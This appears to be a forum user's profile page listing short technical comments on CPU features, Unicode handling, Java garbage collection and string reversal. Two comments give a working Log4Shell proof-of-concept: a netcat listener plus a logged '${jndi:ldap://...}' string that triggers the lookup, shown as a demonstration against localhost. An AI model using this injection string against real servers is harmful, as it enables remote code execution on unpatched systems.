natanbc
Joined 6 years ago
Karma
178
Submissions
8
Member since
Sep 15
Recent submissions
Comment · 3 years ago
Only on older CPUs, they started fusing off AVX512 on newer silicon batches (even on 12th gen)
Comment · 3 years ago
Only in codepoints, but it still has the problem GP mentions of ` + e = è being two codepoints (so two elements in UCS-32), but being logically one character
https://manishearth.github.io/blog/2017/01/14/stop-ascribing...
Comment · 4 years ago
I posted this in reply to a sibling comment, but the "correct" way is still vulnerable
Start nc (nc -lp 1234) and run this
org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")Comment · 4 years ago
The RCE works with both ways, start nc (nc -lp 1234) and run this
org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")Comment · 5 years ago
> In a multithreaded program, a bump allocator requires locks. That kills their performance advantage.
Java uses per-thread pointer bump allocators[1]
> While Java does it as well, it doesn’t utilize this info to put objects on the stack.
Correct, but it does scalar replacement[2] which puts them in registers instead
> Why can Go run its GC concurrently and not Java? Because Go does not fix any pointers or move any objects in memory.
Most java GCs are concurrent[3], if you want super low pauses you can get those too[4][5]. Pointers can get fixed while the application is running with GC barriers
[1]: https://shipilev.net/jvm/anatomy-quarks/4-tlab-allocation/
[2]: https://shipilev.net/jvm/anatomy-quarks/18-scalar-replacemen...
[3]: https://shipilev.net/jvm/anatomy-quarks/3-gc-design-and-paus...
Comment · 5 years ago
It does for multi-codepoint characters (such as the rainbow flag): https://play.rust-lang.org/?version=stable&mode=debug&editio...
Elixir gets it right: https://replit.com/@natanbc/reverse